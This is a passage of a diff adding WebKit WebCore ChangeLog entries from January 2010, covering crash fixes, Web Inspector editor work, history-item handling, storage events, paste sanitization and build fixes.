+        (WebCore::HTMLFrameElementBase::HTMLFrameElementBase):
+        (WebCore::HTMLFrameElementBase::attach): Skip actual loading of the frame if it has remainsAliveOnRemovalFromTree flag. Reset the flag.
+        (WebCore::HTMLFrameElementBase::willRemove): Skip unloading the frame if it has remainsAliveOnRemovalFromTree flag set.
+        (WebCore::HTMLFrameElementBase::setRemainsAliveOnRemovalFromTree): Set the flag, start the async timer to check if the frame was actually attached.
+        (WebCore::HTMLFrameElementBase::checkAttachedTimerFired):
+        * html/HTMLFrameOwnerElement.h:
+        (WebCore::HTMLFrameOwnerElement::willRemove): Move from private to protected, since it is conditionally called in HTMLFrameElementBase::willRemove now.
+
+2010-01-26  Adam Roben  <aroben@apple.com>
+
+        No review, rolling out r53861.
+        http://trac.webkit.org/changeset/53861
+        https://bugs.webkit.org/show_bug.cgi?id=33224
+
+        Caused 2 regression tests to fail.
+
+        * dom/Document.cpp:
+        (WebCore::Document::detach):
+        (WebCore::Document::registerHistoryItem):
+        (WebCore::Document::unregisterHistoryItem):
+        * dom/Document.h:
+        * history/BackForwardList.cpp:
+        (WebCore::BackForwardList::pushStateItem):
+        * history/BackForwardListChromium.cpp:
+        (WebCore::BackForwardList::pushStateItem):
+        * history/HistoryItem.cpp:
+        (WebCore::HistoryItem::HistoryItem):
+        (WebCore::HistoryItem::~HistoryItem):
+        (WebCore::HistoryItem::setStateObject):
+        (WebCore::HistoryItem::setDocument):
+        (WebCore::HistoryItem::documentDetached):
+        * history/HistoryItem.h:
+        (WebCore::HistoryItem::document):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::navigateWithinDocument):
+        (WebCore::FrameLoader::loadItem):
+        * loader/HistoryController.cpp:
+        (WebCore::HistoryController::updateBackForwardListForFragmentScroll):
+        (WebCore::HistoryController::pushState):
+        (WebCore::HistoryController::replaceState):
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::scheduleHistoryNavigation):
+        * page/History.cpp:
+        (WebCore::History::stateObjectAdded):
+        * page/Page.cpp:
+        (WebCore::Page::goToItem):
+
+2010-01-26  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        <rdar://problem/7576663> Crash caused by anonymous list item
+        https://bugs.webkit.org/show_bug.cgi?id=34183
+
+        Test: fast/lists/anonymous-items.html
+
+        enclosingList() and previousListItem() were DOM-based, but in order to work with anonymous
+        list items, they need to work with rthe render tree.
+
+        * rendering/RenderListItem.cpp:
+        (WebCore::isList): Factored out.
+        (WebCore::enclosingList): Added this variant that takes a RenderObject.
+        (WebCore::previousListItem): Changed to travers the render tree.
+        (WebCore::RenderListItem::calcValue): Use the RenderObject version of enclosingList()
+        (WebCore::RenderListItem::setExplicitValue): Added an assertion.
+        (WebCore::RenderListItem::clearExplicitValue): Ditto.
+
+2010-01-26  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        Crash in WebKit!WebCore::RenderMenuList::itemStyle
+        https://bugs.webkit.org/show_bug.cgi?id=34182
+        <rdar://7087757>
+        
+        Added bounds checks in RenderMenuList to make sure we are
+        not making an out of bounds check in a vector once an option
+        element has been deleted. If we are out of bounds, we fall back to
+        a default value and return early, and in the case of itemStyle, we use a 
+        previous option's style, if it is available.
+
+        * manual-tests/select-delete-item.html: Added.
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::itemText): If out of bounds check, return early.
+        (WebCore::RenderMenuList::itemToolTip): Ditto.
+        (WebCore::RenderMenuList::itemIsEnabled): Ditto.
+        (WebCore::RenderMenuList::itemStyle): If out of bounds check, try using the 0th index
+            option style, then fall back to the select's style if that option doesn't exist.
+        (WebCore::RenderMenuList::itemBackgroundColor): If out of bounds check, return early.
+        (WebCore::RenderMenuList::itemIsSeparator): Ditto.
+        (WebCore::RenderMenuList::itemIsLabel): Ditto.
+        (WebCore::RenderMenuList::itemIsSelected): Ditto.
+
+2010-01-25  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Some methods in JSC JNI bridge need more error checking of results from JNI.
+        https://bugs.webkit.org/show_bug.cgi?id=34149
+
+        In JNIUtility.h, callJNIMethodV<jobject> might return null (from CallObjectMethodV, via
+        JNICaller<jobject>::callV) if an exception is thrown.  All clients of callJNIMethodV<jobject>
+        that are calling methods on the returned object should null check first.
+
+        * bridge/jni/JNIBridge.cpp:
+        (JavaField::JavaField):
+        (JavaMethod::JavaMethod):
+        * bridge/jni/JNIUtility.h:
+        (JSC::Bindings::):
+        * bridge/jni/jni_jsobject.mm:
+        (JavaJSObject::convertJObjectToValue):
+        * bridge/jni/jsc/JavaClassJSC.cpp:
+        (JavaClass::JavaClass):
+        * bridge/jni/jsc/JavaInstanceJSC.cpp:
+        (JavaInstance::stringValue):
+
+2010-01-26  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Windows build references non-existent include paths
+        https://bugs.webkit.org/show_bug.cgi?id=34175
+
+        * WebCore.vcproj/QTMovieWin.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+
+2010-01-26  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Brady Eidson.
+
+        Chains of history items representing same-document navigation need to
+        always remember that association
+
+        https://bugs.webkit.org/show_bug.cgi?id=33224
+
+        Replace HistoryItem's Document pointer with a DocumentSequenceNumber.
+        During session history traversal, if the current HistoryItem and the
+        target HistoryItem have the same DocumentSequenceNumber, then it means
+        that the current Document should remain.
+
+        NOTE: To support Chromium's serialization of HistoryItems, I generate
+        DocumentSequenceNumbers that are unique across application launches.
+        DocumentSequenceNumbers are generated using a counter initialized with
+        the time of day.
+
+        Test: fast/loader/stateobjects/document-destroyed-navigate-back.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::detach):
+        * dom/Document.h:
+        * history/BackForwardList.cpp:
+        (WebCore::BackForwardList::pushStateItem):
+        * history/BackForwardListChromium.cpp:
+        (WebCore::BackForwardList::pushStateItem):
+        * history/HistoryItem.cpp:
+        (WebCore::generateDocumentSequenceNumber):
+        (WebCore::HistoryItem::HistoryItem):
+        (WebCore::HistoryItem::~HistoryItem):
+        (WebCore::HistoryItem::setStateObject):
+        * history/HistoryItem.h:
+        (WebCore::HistoryItem::setDocumentSequenceNumber):
+        (WebCore::HistoryItem::documentSequenceNumber):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::navigateWithinDocument):
+        (WebCore::FrameLoader::loadItem):
+        * loader/HistoryController.cpp:
+        (WebCore::HistoryController::updateBackForwardListForFragmentScroll):
+        (WebCore::HistoryController::pushState):
+        (WebCore::HistoryController::replaceState):
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::scheduleHistoryNavigation):
+        * page/History.cpp:
+        (WebCore::History::stateObjectAdded):
+        * page/Page.cpp:
+        (WebCore::Page::goToItem):
+
+2010-01-26  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Add ability for image maps to be focused via tabbing
+        https://bugs.webkit.org/show_bug.cgi?id=17513
+
+        Test: fast/events/tab-imagemap.html
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::focusedImageMapUIElement):
+        (WebCore::AXObjectCache::focusedUIElementForPage):
+        * accessibility/AXObjectCache.h:
+        * accessibility/AccessibilityImageMapLink.h:
+        (WebCore::AccessibilityImageMapLink::areaElement):
+        (WebCore::AccessibilityImageMapLink::mapElement):
+        (WebCore::AccessibilityImageMapLink::isImageMapLink):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::isImageMapLink):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityParentForImageMap):
+        * html/HTMLAreaElement.cpp:
+        (WebCore::HTMLAreaElement::getPath):
+        (WebCore::HTMLAreaElement::getRect):
+        (WebCore::HTMLAreaElement::imageElement):
+        (WebCore::HTMLAreaElement::isKeyboardFocusable):
+        (WebCore::HTMLAreaElement::isFocusable):
+        (WebCore::HTMLAreaElement::dispatchBlurEvent):
+        (WebCore::HTMLAreaElement::updateFocusAppearance):
+        (WebCore::HTMLAreaElement::supportsFocus):
+        * html/HTMLAreaElement.h:
+        * html/HTMLMapElement.cpp:
+        (WebCore::HTMLMapElement::imageElement):
+        * html/HTMLMapElement.h:
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/mac/GraphicsContextMac.mm:
+        (WebCore::drawFocusRingToContext):
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/win/GraphicsContextCGWin.cpp:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::drawFocusRing):
+        * rendering/RenderImage.cpp:
+        (WebCore::RenderImage::paint):
+        (WebCore::RenderImage::paintFocusRings):
+        (WebCore::RenderImage::imageMap):
+        * rendering/RenderImage.h:
+        * rendering/RenderReplaced.h:
+
+2010-01-26  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: add support for breakpoints, messages and search into the SourceFrame2.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34165
+
+        * inspector/front-end/SourceFrame2.js:
+        (WebInspector.SourceFrame2):
+        (WebInspector.SourceFrame2.prototype.get executionLine):
+        (WebInspector.SourceFrame2.prototype.set executionLine):
+        (WebInspector.SourceFrame2.prototype.revealLine):
+        (WebInspector.SourceFrame2.prototype.addBreakpoint):
+        (WebInspector.SourceFrame2.prototype.removeBreakpoint):
+        (WebInspector.SourceFrame2.prototype.sizeToFitContentHeight):
+        (WebInspector.SourceFrame2.prototype.setContent):
+        (WebInspector.SourceFrame2.prototype.findSearchMatches):
+        (WebInspector.SourceFrame2.prototype.setSelection):
+        (WebInspector.SourceFrame2.prototype._addMessageToSource):
+        (WebInspector.SourceFrame2.prototype._addExistingBreakpointsToSource):
+        (WebInspector.SourceFrame2.prototype._addBreakpointToSource):
+        (WebInspector.SourceFrame2.prototype._removeBreakpointFromSource):
+        (WebInspector.SourceFrame2.prototype._contextMenu.addConditionalBreakpoint):
+        (WebInspector.SourceFrame2.prototype._contextMenu):
+        (WebInspector.SourceFrame2.prototype._toggleBreakpoint):
+        (WebInspector.SourceFrame2.prototype._editBreakpointCondition.committed):
+        (WebInspector.SourceFrame2.prototype._editBreakpointCondition.dismissed):
+        (WebInspector.SourceFrame2.prototype._editBreakpointCondition):
+        (WebInspector.SourceFrame2.prototype._showBreakpointConditionPopup):
+        (WebInspector.SourceFrame2.prototype._createConditionElement):
+        (WebInspector.SourceFrame2.prototype._keyDown):
+        (WebInspector.SourceFrame2.prototype._evalSelectionInCallFrame):
+        (WebInspector.SourceFrame2.prototype._breakpointChanged):
+        (WebInspector.SourceFrame2.prototype.resize):
+        (WebInspector.BreakpointLineNumberDecorator.prototype.decorate):
+        (WebInspector.BreakpointLineNumberDecorator.prototype._paintBreakpoint):
+        (WebInspector.BreakpointLineNumberDecorator.prototype.mouseDown):
+        (WebInspector.BreakpointLineNumberDecorator.prototype.contextMenu):
+        (WebInspector.ExecutionLineDecorator.prototype.decorate):
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        (WebInspector.TextEditor.prototype.set mimeType):
+        (WebInspector.TextEditor.prototype.set readOnly):
+        (WebInspector.TextEditor.prototype.setDivDecoration):
+        (WebInspector.TextEditor.prototype.reveal):
+        (WebInspector.TextEditor.prototype.packAndRepaintAll):
+        (WebInspector.TextEditor.prototype._updateSize):
+        (WebInspector.TextEditor.prototype.updateCanvasSize):
+        (WebInspector.TextEditor.prototype.repaintAll):
+        (WebInspector.TextEditor.prototype._paintLinesContinuation):
+        (WebInspector.TextEditor.prototype._repaintOnScroll):
+        (WebInspector.TextEditor.prototype._mouseDown):
+        (WebInspector.TextEditor.prototype._contextMenu):
+        (WebInspector.TextEditor.prototype._caretForMouseEvent):
+        (WebInspector.TextEditor.prototype._columnForOffset):
+        (WebInspector.TextEditor.prototype._handleNavigationKey):
+        (WebInspector.TextEditor.prototype._positionDivDecoration):
+        (WebInspector.TextEditor.prototype._replaceSelectionWith):
+        (WebInspector.TextEditor.prototype.setCoalescingUpdate):
+        (WebInspector.TextEditor.prototype._handleUndo):
+        (WebInspector.TextEditor.prototype._handleRedo):
+        (WebInspector.TextEditor.prototype._changeFont):
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        (WebInspector.TextEditorHighlighter.prototype.set mimeType):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/textEditor.css:
+
+2010-01-26  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: add methods for getting resource content from within frontend.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34163
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getResourceContent):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::didGetResourceContent):
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorFrontendHost.cpp:
+        * inspector/InspectorFrontendHost.h:
+        * inspector/InspectorFrontendHost.idl:
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub.prototype.getResourceContent):
+        * inspector/front-end/InspectorFrontendHostStub.js:
+
+2010-01-26  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: added null check into the timeline agent getter.
+
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::InspectorTimelineAgent::retrieve):
+
+2010-01-26  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Moves JSC-specific classes from bridge/jni/JNIBridge to bridge/jni/jsc/JNIBridgeJSC
+        https://bugs.webkit.org/show_bug.cgi?id=33958
+
+        This allows bridge/jni/JNIBridge to be used with both JSC and V8.
+        A later change will add the V8 equivalent of these JSC-specific classes.
+
+        No new tests, refactoring only.
+
+        * Android.jscbindings.mk: Modified. Added JNIBridgeJSC.cpp
+        * GNUmakefile.am: Modified. Added JNIBridgeJSC.h
+        * WebCore.xcodeproj/project.pbxproj: Modified. Added JNIBridgeJSC.[cpp|h]
+        * bridge/jni/JNIBridge.cpp: Modified. Moved JavaField and JavaArray to JNIBridgeJSC.cpp
+        (appendClassName): Modfied. Guard calls to JSLock
+        (JavaMethod::signature): Modfied. Guard calls to JSLock
+        * bridge/jni/JNIBridge.h: Modified. Moved JavaField and JavaArray to JNIBridgeJSC.h
+        * bridge/jni/jsc/JNIBridgeJSC.cpp: Copied from WebCore/bridge/jni/JNIBridge.cpp.
+        * bridge/jni/jsc/JNIBridgeJSC.h: Copied from WebCore/bridge/jni/JNIBridge.h.
+        * bridge/jni/jsc/JNIUtilityPrivate.cpp: Modified. Include JNIBridgeJSC.h
+        * bridge/jni/jsc/JavaClassJSC.h: Modified. Include JNIBridgeJSC.h
+        * bridge/jni/jsc/JavaInstanceJSC.cpp: Modified. Include JNIBridgeJSC.h
+
+2010-01-26  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Unreviewed build fix.
+
+        [Qt] Fix Windows build when sqlite is not available.
+
+        * WebCore.pri:
+        * WebCore.pro:
+
+2010-01-26  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] JavaScript prompt is currently broken.
+        https://bugs.webkit.org/show_bug.cgi?id=30914
+
+        Remove the manual test case in favor of an automated
+        test case in WebKit/qt/tests/qwebpage.
+
+        * manual-tests/qt/java-script-prompt.html: Removed.
+
+2010-01-26  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Implement HTML and CSS highlighters.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34144
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/JavaScriptTokenizer.js: Removed.
+        * inspector/front-end/JavaScriptTokenizer.re2js: Removed.
+        * inspector/front-end/SourceCSSTokenizer.js: Added.
+        (WebInspector.SourceCSSTokenizer):
+        (WebInspector.SourceCSSTokenizer.prototype._stringToken):
+        (WebInspector.SourceCSSTokenizer.prototype._isPropertyValue):
+        (WebInspector.SourceCSSTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceCSSTokenizer.re2js: Added.
+        * inspector/front-end/SourceHTMLTokenizer.js: Added.
+        (WebInspector.SourceHTMLTokenizer):
+        (WebInspector.SourceHTMLTokenizer.prototype._stringToken):
+        (WebInspector.SourceHTMLTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceHTMLTokenizer.re2js: Added.
+        * inspector/front-end/SourceJavaScriptTokenizer.js: Added.
+        (WebInspector.SourceJavaScriptTokenizer):
+        (WebInspector.SourceJavaScriptTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceJavaScriptTokenizer.re2js: Added.
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter):
+        (WebInspector.TextEditorHighlighter.prototype._highlightLines):
+        (WebInspector.TextEditorHighlighter.Tokenizer):
+        (WebInspector.TextEditorHighlighter.Tokenizer.prototype.set line):
+        (WebInspector.TextEditorHighlighter.Tokenizer.prototype.set condition):
+        (WebInspector.TextEditorHighlighter.Tokenizer.prototype.get condition):
+        (WebInspector.TextEditorHighlighter.Tokenizer.prototype.hasCondition):
+        (WebInspector.TextEditorHighlighter.Tokenizer.prototype.getLexCondition):
+        (WebInspector.TextEditorHighlighter.Tokenizer.prototype.setLexCondition):
+        (WebInspector.TextEditorHighlighter.Tokenizer.prototype._charAt):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+
+2010-01-26  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        REGRESSION(r53835): Fix editing/pasteboard/paste-noscript-xhtml.xhtml
+        https://bugs.webkit.org/show_bug.cgi?id=34157
+
+        Pass the FragmentScriptingPermission correctly through to the DOM
+        and disallow scripting elements in parseEndElement(), similar to
+        the libxml tokenizer change in r53835.
+
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::handleElementNamespaces):
+        (WebCore::handleElementAttributes):
+        (WebCore::XMLTokenizer::parseStartElement):
+        (WebCore::XMLTokenizer::parseEndElement):
+
+2010-01-26  Garret Kelly  <gdk@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add missing declaration for the feMorphology SVG element.
+        https://bugs.webkit.org/show_bug.cgi?id=34151
+
+        * bindings/v8/V8DOMWrapper.cpp:
+
+2010-01-26  Andras Becsi  <abecsi@inf.u-szeged.hu>
+
+        Unreviewed build fix.
+
+        [Qt] Build fix after API changes in r53835.
+
+        No new tests needed.
+
+        * dom/XMLTokenizerQt.cpp:
+        (WebCore::XMLTokenizer::XMLTokenizer):
+        (WebCore::parseXMLDocumentFragment):
+
+2010-01-22  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Make storage events match the spec.
+        https://bugs.webkit.org/show_bug.cgi?id=30546
+
+        This meat of the patch I just posted is very simple.  It's just making events
+        asynchronous, not posting them to the frame that generated them, passing a null
+        for the key when issuing a clear storage event, and making the events
+        non-cancelable/non-bubbleable...all of which are clearly stated in the spec.
+
+        The asynchronous and not posting to the frame that generated them forced me to
+        re-write all the layout tests that dealt with storage events.  There's a lot of
+        code there, but I tried to be fairly careful to ensure that test coverage did
+        not shrink in any area.
+
+        Tests: storage/domstorage/events/basic-body-attribute.html
+               storage/domstorage/events/basic-setattribute.html
+               storage/domstorage/events/basic.html
+               storage/domstorage/events/case-sensitive.html
+               storage/domstorage/events/documentURI.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        (WebCore::Document::enqueueStorageEvent):
+        (WebCore::Document::storageEventTimerFired):
+        * dom/Document.h:
+        * storage/StorageEvent.cpp:
+        (WebCore::StorageEvent::StorageEvent):
+        * storage/StorageEvent.idl:
+        * storage/StorageEventDispatcher.cpp:
+        (WebCore::StorageEventDispatcher::dispatch):
+
+2010-01-25  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7573493> Error with line break inside ?&raquo; pair of characters.
+        https://bugs.webkit.org/show_bug.cgi?id=17475
+
+        Test: fast/text/line-break-after-question-mark.html
+
+        Instead of unconditionally allowing lines to break after a question mark, which was intended
+        to mimic Internet Explorer, apply the Unicode line breaking behavior after a question mark,
+        with one exception in the ASCII range to match IE, namely not allowing a line break between
+        a question mark and a vertical line.
+
+        * rendering/break_lines.cpp:
+        (WebCore::shouldBreakAfter): Added a next character parameter. Changed to consult a table
+        for the question mark case in order to keep it fast and not require a text break iterator in
+        the ASCII case.
+        (WebCore::nextBreakablePosition): Pass the next character to shouldBreakAfter.
+
+2010-01-25  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Dan Bernstein.
+
+        Mac scrollbar thumbs were drawn with the wrong size.
+        https://bugs.webkit.org/show_bug.cgi?id=34049
+
+        * platform/chromium/ScrollbarThemeChromiumMac.mm:
+        (WebCore::ScrollbarThemeChromiumMac::paint):
+        * platform/mac/ScrollbarThemeMac.mm:
+        (WebCore::ScrollbarThemeMac::paint):
+
+2010-01-25  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Cleanup unwanted tags after pasting.
+        https://bugs.webkit.org/show_bug.cgi?id=34148
+        
+        Test: editing/pasteboard/paste-noscript-xhtml.xhtml
+
+        * dom/Element.cpp:
+        (WebCore::Element::setAttributeNS):
+        * dom/Element.h:
+        * dom/XMLTokenizer.h:
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::XMLTokenizer):
+        (WebCore::handleElementNamespaces):
+        (WebCore::handleElementAttributes):
+        (WebCore::XMLTokenizer::startElementNs):
+        (WebCore::XMLTokenizer::endElementNs):
+        (WebCore::parseXMLDocumentFragment):
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::createContextualFragment):
+
+2010-01-25  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        A WebGeolocationControllerClient is leaked for every WebView
+        https://bugs.webkit.org/show_bug.cgi?id=34145
+
+        * page/GeolocationController.cpp:
+        (WebCore::GeolocationController::~GeolocationController):
+        * page/GeolocationControllerClient.h:
+
+2010-01-25  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Fixed bug in positioning of scroll layer within the
+        parent root layer.
+        https://bugs.webkit.org/show_bug.cgi?id=33847
+        
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        (WebCore::WKCACFLayerRenderer::setScrollFrame):
+        (WebCore::WKCACFLayerRenderer::createRenderer):
+
+2010-01-25  Alexey Proskuryakov  <ap@apple.com>
+
+        Rubber-stamped by Geoffrey Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34076
+        An image remains accessible via form.property syntax after being removed from document.
+
+        Fix crashing regression tests (tables/mozilla/bugs/bug4527.html et al.)
+
+        * html/HTMLImageElement.cpp: (WebCore::HTMLImageElement::insertedIntoTree): Remove incorrect
+        assertions added in the previous patch - it's mot true that m_for is always a parent; table
+        parsing can reparent the image element, but m_form still needs to be set.
+
+2010-01-25  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34076
+        An image remains accessible via form.property syntax after being removed from document.
+
+        Tests: fast/forms/removed-image-as-property.html
+               fast/forms/reparented-image-as-property.html
+
+        * html/HTMLImageElement.cpp:
+        (WebCore::HTMLImageElement::~HTMLImageElement): This is called during GC - not a good time
+        to make observable changes to DOM.
+        (WebCore::HTMLImageElement::insertedIntoTree): This is the right place to do any work that
+        depends on connectedness to some ancestor. We still allow for m_form to be set via constructor,
+        which happens during parsing.
+        (WebCore::HTMLImageElement::removedFromTree): Ditto.
+
+        * html/HTMLImageElement.h: Added removedFromTree/insertedIntoTree, moved removedFromDocument
+        and insertedIntoDocument to private section, as they shouldn't be called directly.
+
+2010-01-25  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34073
+
+        Fixes misspelled words in comments.
+
+        * accessibility/AccessibilityListBox.cpp:
+        (WebCore::AccessibilityListBox::addChildren):
+        (WebCore::AccessibilityListBox::doAccessibilityHitTest):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper detach]):
+        (AXAttributeStringSetElement):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::completeURL):
+        * bindings/js/JSDOMWindowBase.cpp:
+        * bindings/js/JSDOMWindowBase.h:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::getOwnPropertySlot):
+        * bindings/js/JSSVGPODTypeWrapper.h:
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluateInWorld):
+        * bridge/NP_jsobject.cpp:
+        (_NPN_SetException):
+        * bridge/jni/jsc/JavaInstanceJSC.cpp:
+        (JavaInstance::invokeMethod):
+        (JObjectWrapper::JObjectWrapper):
+        * bridge/objc/objc_instance.mm:
+        (ObjcInstance::setValueOfUndefinedField):
+        (ObjcInstance::getValueOfUndefinedField):
+        * css/CSSFontSelector.cpp:
+        (WebCore::CSSFontSelector::addFontFaceRule):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::CSSStyleSelector):
+        (WebCore::CSSStyleSelector::sortMatchedRules):
+        (WebCore::CSSStyleSelector::applyDeclarations):
+        (WebCore::CSSStyleSelector::applyProperty):
+        * dom/Document.cpp:
+        (WebCore::Document::updateLayoutIgnorePendingStylesheets):
+        (WebCore::Document::detach):
+        * dom/Document.h:
+        * dom/Element.cpp:
+        (WebCore::Element::updateFocusAppearance):
+        * dom/Element.h:
+        * dom/MessagePortChannel.h:
+        * dom/MouseRelatedEvent.cpp:
+        (WebCore::MouseRelatedEvent::receivedTarget):
+        * dom/Node.cpp:
+        (WebCore::Node::isFocusable):
+        (WebCore::Node::shadowAncestorNode):
+        * dom/Node.h:
+        * dom/Position.cpp:
+        (WebCore::Position::upstream):
+        * dom/Position.h:
+        * dom/Range.cpp:
+        (WebCore::Range::processContents):
+        * dom/StyledElement.cpp:
+        (WebCore::StyledElement::addCSSColor):
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::StyleChange::reconcileTextDecorationProperties):
+        (WebCore::StyleChange::extractTextStyles):
+        (WebCore::prepareEditingStyleToApplyAt):
+        * editing/DeleteButtonController.cpp:
+        (WebCore::isDeletableElement):
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::DeleteSelectionCommand::initializeStartEnd):
+        * editing/Editor.cpp:
+        (WebCore::Editor::learnSpelling):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleMessage.prototype._format):
+        * loader/Cache.cpp:
+        (WebCore::Cache::pruneLiveResources):
+        (WebCore::Cache::pruneDeadResources):
+        * loader/Cache.h:
+        * loader/CachedResource.cpp:
+        (WebCore::CachedResource::makePurgeable):
+        * loader/CachedResource.h:
+        * loader/CachedResourceHandle.h:
+        * loader/DocumentLoader.h:
+        * loader/FTPDirectoryParser.cpp:
+        (WebCore::parseOneFTPLine):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::didExplicitOpen):
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::didCancel):
+        * loader/WorkerThreadableLoader.h:
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::spaceNeeded):
+        * notifications/NotificationPresenter.h:
+        (WebCore::NotificationPresenter::):
+        * page/animation/AnimationController.cpp:
+        (WebCore::AnimationController::updateAnimations):
+        * platform/LinkHash.cpp:
+        (WebCore::cleanPath):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::calculateDrawingMode):
+        * platform/graphics/cg/PatternCG.cpp:
+        (WebCore::Pattern::createPlatformPattern):
+        * platform/graphics/mac/ComplexTextController.cpp:
+        (WebCore::ComplexTextController::offsetForPosition):
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::ensureStructuralLayer):
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::doSeek):
+        (WebCore::MediaPlayerPrivate::setClosedCaptionsVisible):
+        (WebCore::MediaPlayerPrivate::hasAvailableVideoFrame):
+        * platform/mac/PasteboardMac.mm:
+        (WebCore::Pasteboard::writeSelection):
+        (WebCore::Pasteboard::writePlainText):
+        (WebCore::Pasteboard::writeURL):
+        * platform/text/TextCodecICU.cpp:
+        (WebCore::TextCodecICU::registerExtendedEncodingNames):
+        * platform/text/TextEncodingDetectorICU.cpp:
+        (WebCore::detectTextEncoding):
+        * rendering/AutoTableLayout.cpp:
+        (WebCore::AutoTableLayout::calcEffectiveWidth):
+        (WebCore::AutoTableLayout::layout):
+        * rendering/RenderBox.cpp:
